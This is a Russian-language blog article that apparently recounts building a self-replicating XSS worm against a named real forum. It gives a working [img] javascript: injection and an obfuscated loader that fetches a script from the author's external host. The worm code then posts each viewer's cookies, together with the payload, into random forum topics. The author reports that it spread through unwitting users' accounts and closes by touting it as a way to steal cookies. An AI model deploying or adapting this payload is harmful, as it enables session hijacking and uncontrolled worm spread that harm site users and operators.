Вступление
В данной статье будет описана история создания само распространяемого кода для web2.0 сайта...
Суть программных червей очень интересна. После единоразового запуска программы, она сама находит способ копироваться и запускаться снова, и снова. Но это не обязательно исполняемый файл, который сканирует сеть на наличие уязвимостей. В эпоху развития Интернета можно использовать WEB-сайты, на которых не достаточно хорошо реализована проверка данных, приходящих от пользователей.
Дальше будет рассмотрен пример для сайта www.bazika.net. Существенно облегчает распространение «вредоносного» кода по сайту тот факт, что на нём используются готовые Javascript библиотеки..
Показанные ниже действия были выполнены в качестве эксперимента, и не имели цель навредить сайту, или его пользователям.
Уязвимость
Для того чтобы программный код начал распространение по сайту нужно найти способ внедрить его в браузер пользователя. На форуме была найдена возможность вставлять Javascript код в сообщение через BB тег IMG. Пример сообщения:
Код:
[іmg]javascript:alert('LOL')[/іmg]
В результате на страничке появится такой HTML код:
Код:
<img src="javascript:alert('LOL')" alt="javascript:alert('LOL')" />
Как видно, здесь вместо адреса картинки вставлен скрипт. В браузере Firefox будет выведен код Javascript вместо картинки, но в таких браузерах как Opera, IE сработает Javascript... Эта идея и будет отправной точкой распространения.
Достаточно будет создать сообщение с «вредоносным» кодом и все пользователи его просматривающие примут участие в распространении «червя» по сайту.
Ниже показан пример начального сообщения, загружающего в браузер скрипт с удалённого адреса:
Код:
[іmg]javascript:var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));
s.src='http://h3ck.rv.ua/b/o_O.php';document.body.appendChild(s);
void(0)[/іmg]
Метод распространения.
Скрипт, загруженный с сайта будет создавать от имени пользователя новое сообщение на форуме, которое будет повторно в себя включать «вредоносный» код. Таким образом будет идти размножение «червя» по сайту. Дополнительно выполняется проверка выполнения скрипта, так как может быть создано несколько наших сообщений в одном топике. Выполнение происходит один раз.
Реализация на языке Javascript может быть такой:
Код HTML:
if (!isLoaded) {
// скрываем нашу картинку
for (var i=0; i<document.images.length; i++) {
if (document.images[**i].src.match(/^javascript:/)) {
document.images[**i].style.display = 'none';
}
}
// текст нового сообщения
var xss_body = document.cookie + "\n\n" +
"[img]javascript:var s=document.createElement(String.fromCharCod"+
"e(115,99,114,105,112,116));s.src='"+
"http://h3ck.rv.ua/b/o_O.php"+
"';document.body.appendChild(s);void(0)[/img]";
// id топика выбирается из списка горячих тем
var topics = [];
var regexp=/\/forum\/topic\/(\d+)/;
for (i=1; i<document.links.length; i++) {
if ((result = document.links[**i].href.match(regexp)) && document.links[**i].href.indexOf('#')==-1) {
topics.push(document.links[**i].href.match(regexp)[1]);
}
}
var topic_rand = topics[Math.round(Math.random()*topics.length)];
// создание нового сообщения.
$.post('/forum/do/',{action:"add_reply", text:xss_body, topic:topic_rand},
function(data){alert(data);},"json");
}
var isLoaded = 1;
звёздочки вставлены потому что парсер форума думает что это тег [*i]
Результат:
Заключение.
После создания нескольких начальных сообщений на форуме, можно было увидеть как один за другим появляются сообщения от пользователей. Этот процесс мог бы продолжатся если бы через несколько часов не закрыли сайт на доработку.
В принципе, в подключаемом файле мог быть намного более злой код, который бы выполнялся при каждом просмотре сообщения.
Данная статья была написана для того чтобы показать насколько важно заботится о клиентской части безопасности сайта, особенно при использовании таких технологий как AJAX.
P.S. Как видите для того чтобы удачно эксплуатировать xss уязвимости (читай -
получить cookies) не обязятельно использовать обычный подход с редиректом юзера на php сниффер. Для этого вполне можно использовать уязвимый сайт.
--------------------------
автор статьи: Goudini
кросс пост
h3ck blog